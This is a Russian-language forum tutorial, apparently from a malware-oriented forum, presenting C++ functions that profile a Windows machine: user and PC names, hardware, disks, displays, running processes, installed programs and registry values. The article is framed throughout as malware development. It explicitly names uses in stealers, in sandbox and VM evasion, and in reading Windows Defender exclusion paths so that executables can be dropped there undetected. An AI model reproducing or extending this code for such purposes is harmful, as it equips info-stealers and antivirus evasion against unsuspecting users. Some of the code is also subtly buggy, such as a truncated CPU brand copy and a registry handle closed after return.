Admin
Администратор
[C/C++] Сбор информации о системе.
Порой при разработке malware продукта у кодера возникает задача - собрать информацию о конфигурации системы. В данной статье мы поговорим как раз об этом.Первое, что нам нужно - получить юзернейм пользователя и имя компьютера:
C++:
LPCSTR getUsername()
{
char *username = new char[MAX_PATH]{'\0'};
DWORD size = MAX_PATH;
GetUserName(username, &size);
return username;
}
LPCSTR getPCName()
{
char *pcName = new char[MAX_PATH]{'\0'};
DWORD size = MAX_PATH;
GetComputerName(pcName, &size);
return pcName;
}
Здесь все достаточно просто - в WinAPI уже есть функции, которые возвращают эти значения.
Далее мы хотим узнать, сколько оперативной памяти доступно в системе и какой процессор:
C++:
LPCSTR getCPUName()
{
int cpuInfo[4] = {0, 0, 0, 0};
__cpuid(cpuInfo, 0x80000002);
char *cpuBrand = new char[48]{'\0'};
memcpy(cpuBrand, cpuInfo, sizeof(cpuInfo));
return (LPCSTR)cpuBrand;
}
DWORDLONG getRAMSize()
{
MEMORYSTATUSEX memInfo;
memInfo.dwLength = sizeof(MEMORYSTATUSEX);
GlobalMemoryStatusEx(&memInfo);
return memInfo.ullTotalPhys;
}
Можем получить основной язык операционной системы:
C++:
LANGID getLangID()
{
LCID lcid = GetSystemDefaultLCID();
LANGID langId = PRIMARYLANGID(lcid);
return langId;
}
Получаем время работы (uptime) системы в секундах:
C++:
DWORD getUptimeInSeconds()
{
return GetTickCount64() / 1000;
}
Получаем информацию о разделах диска:
C++:
LPCSTR getDisksInfo()
{
LPCSTR disks_info = new char[1024]{'\0'};
DWORD drives = GetLogicalDrives();
for (char drive = 'A'; drive <= 'Z'; drive++)
{
if (drives & 1 << (drive - 'A'))
{
char drive_name[4] = {drive, ':', '\\', '\0'};
ULARGE_INTEGER FreeBytesAvailable = {0};
ULARGE_INTEGER TotalNumberOfBytes = {0};
ULARGE_INTEGER TotalNumberOfFreeBytes = {0};
if (GetDiskFreeSpaceExA(drive_name, &FreeBytesAvailable, &TotalNumberOfBytes, &TotalNumberOfFreeBytes))
{
unsigned long long freeAvail = FreeBytesAvailable.QuadPart;
unsigned long long total = TotalNumberOfBytes.QuadPart;
unsigned long long totalfree = TotalNumberOfFreeBytes.QuadPart;
char infoBuf[1024] = {'\0'};
sprintf(infoBuf, "%s %llu MB free, %llu MB total; \t", drive_name, freeAvail / 1024 / 1024, total / 1024 / 1024);
strcat((char *)disks_info, infoBuf);
}
}
}
return disks_info;
}
Чтобы обнаружить GPU, можно воспользоваться d3d9.h:
C++:
LPCSTR getGPUName()
{
IDirect3D9 *d3d = Direct3DCreate9(D3D_SDK_VERSION);
if (d3d)
{
D3DADAPTER_IDENTIFIER9 adapter;
if (SUCCEEDED(d3d->GetAdapterIdentifier(D3DADAPTER_DEFAULT, 0, &adapter)))
{
char *name = new char[sizeof(adapter.Description)]{'\0'};
memcpy(name, adapter.Description, sizeof(adapter.Description));
return name;
}
d3d->Release();
}
return nullptr;
}
Получим информацию о дисплеях:
C++:
LPCSTR getDisplayInfo()
{
int monitorCount = GetSystemMetrics(SM_CMONITORS);
LPCSTR monitorsInfo = new char[1024]{'\0'};
DISPLAY_DEVICE displayDevice;
ZeroMemory(&displayDevice, sizeof(displayDevice));
displayDevice.cb = sizeof(displayDevice);
int deviceIndex = 0;
while (EnumDisplayDevices(NULL, deviceIndex, &displayDevice, 0))
{
if (!(displayDevice.StateFlags & DISPLAY_DEVICE_MIRRORING_DRIVER))
{
DEVMODE devMode;
ZeroMemory(&devMode, sizeof(devMode));
devMode.dmSize = sizeof(devMode);
if (EnumDisplaySettings(displayDevice.DeviceName, ENUM_CURRENT_SETTINGS, &devMode))
{
char buf[1024] = {'\0'};
sprintf_s(buf, "%s: %dx%d, %dHz\t", displayDevice.DeviceName, devMode.dmPelsWidth, devMode.dmPelsHeight, devMode.dmDisplayFrequency);
strcat_s((char *)monitorsInfo, 1024, buf);
}
}
deviceIndex++;
}
return monitorsInfo;
}
Вернем все процессы, которые запущены в системе на данный момент:
C++:
LPCSTR getRunningProcesses()
{
LPCSTR processes = new char[4096]{'\0'};
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry))
{
do
{
char buf[1024] = {'\0'};
DWORD bufLen = sprintf_s(buf, "%s\t", entry.szExeFile);
strcat((char *)processes, buf);
} while (Process32Next(snapshot, &entry));
}
CloseHandle(snapshot);
return processes;
}
Очень много полезной информации может содержаться в реестре Windows. Напишем функцию для чтения:
C++:
LPCSTR readRegistry(HKEY reg, char *subKey, char *valueName)
{
HKEY phkResult = NULL;
if (RegOpenKeyExA(reg, subKey, 0, KEY_READ, &phkResult) == ERROR_SUCCESS)
{
LPCSTR totalData = new char[2048]{'\0'};
DWORD dwIndex = 0;
LPSTR szValueName = new char[MAX_PATH]{'\0'};
DWORD dwValueNameLen = MAX_PATH;
BYTE *lpData = new BYTE[MAX_DATA_LEN]{'\0'};
DWORD lpDataLen = MAX_DATA_LEN;
while (RegEnumValueA(phkResult, dwIndex, szValueName, &dwValueNameLen, NULL, NULL, lpData, &lpDataLen) == ERROR_SUCCESS)
{
if ((valueName != nullptr && strcmp(szValueName, valueName) == 0) || valueName == nullptr)
{
char buf[1024] = {'\0'};
sprintf_s(buf, "Name: %s; Value: %s\t", szValueName, lpData);
strcat((char *)totalData, buf);
}
ZeroMemory((void *)szValueName, MAX_PATH);
ZeroMemory(lpData, MAX_DATA_LEN);
dwValueNameLen = MAX_PATH;
lpDataLen = MAX_DATA_LEN;
dwIndex++;
}
RegCloseKey(phkResult);
return totalData;
}
return nullptr;
}
Функция readRegistry возвращает пары вида параметр-значение.
На вход принимаются следующие параметры:
- reg : раздел реестра, откуда хотим считать информацию (к примеру - HKEY_LOCAL_MACHINE)
- subKey : строка-путь до интересующего нас ключа
- valueName : имя параметра, который нужно получить. Если valueName == nullptr, функция вернет все параметры и их значения из указанного ключа.
Что же можно получить из реестра? Вот примеры:
C++:
LPCSTR getCPUNameRegistry()
{
// получаем модель CPU
return readRegistry(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", "ProcessorNameString");
}
LPCSTR getRun()
{
// получаем список программ, которые запускаются вместе с системой
return readRegistry(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
}
LPCSTR getWindowsBuild()
{
// получаем номер сборки Windows
return readRegistry(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber");
}
LPCSTR getWinDefExclusions()
{
// получаем пути исключений Windows Defender
return readRegistry(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths");
}
LPCSTR getWindowsEdition()
{
// получаем издание Windows
return readRegistry(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "EditionID");
}
LPCSTR getTimezone()
{
// получаем часовой пояс
return readRegistry(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", "StandardName");
}
LPCSTR getMotherboardInfo()
{
// получаем модель материнской платы
return readRegistry(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", "BaseBoardProduct");
}
Можно считать определенные ключи реестра, чтобы получить список установленных в системе программ:
C++:
LPCSTR getInstalledPrograms()
{
HKEY hKey;
LONG result = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", 0, KEY_READ, &hKey);
if (result == ERROR_SUCCESS)
{
LPCSTR totalData = new char[4096]{'\0'};
DWORD index = 0;
CHAR keyName[MAX_PATH];
DWORD keyNameSize = MAX_PATH;
while (RegEnumKeyExA(hKey, index, keyName, &keyNameSize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
{
HKEY subKey;
if (RegOpenKeyExA(hKey, keyName, 0, KEY_READ, &subKey) == ERROR_SUCCESS)
{
CHAR displayName[MAX_PATH];
DWORD displayNameSize = MAX_PATH;
DWORD type;
if (RegQueryValueExA(subKey, "DisplayName", NULL, &type, (LPBYTE)displayName, &displayNameSize) == ERROR_SUCCESS)
{
char buf[1024] = {'\0'};
sprintf_s(buf, "%s\t", displayName);
strcat_s((char *)totalData, 4096, buf);
}
RegCloseKey(subKey);
}
keyNameSize = MAX_PATH;
index++;
}
return totalData;
RegCloseKey(hKey);
}
return nullptr;
}
Где это может быть полезно?
- В стилерах. тут все итак понятно.
- В обходе песочниц и виртуальных машин. Некоторые песочницы можно обнаружить по ключевым признакам. Большинство виртуальных машин можно обнаружить по присутствию определенных ключей в реестре. Если условия совпали (мы находимся в виртуалке или песочнице) - выходим из процесса
- В file-based лодырях. Из реестра получаем путь одного из исключений windef - и дропаем исполняемый файл по этому пути (это в теории, и по любому нужны права администратора)
На этом все, о чем я хотел рассказать. Это моя первая статья, так что просьба особо не придираться к ее оформлению. Исходный код можете скачать в прикрепленном файле (из main функции запускаются все проверки, приведенные выше).
Последнее редактирование: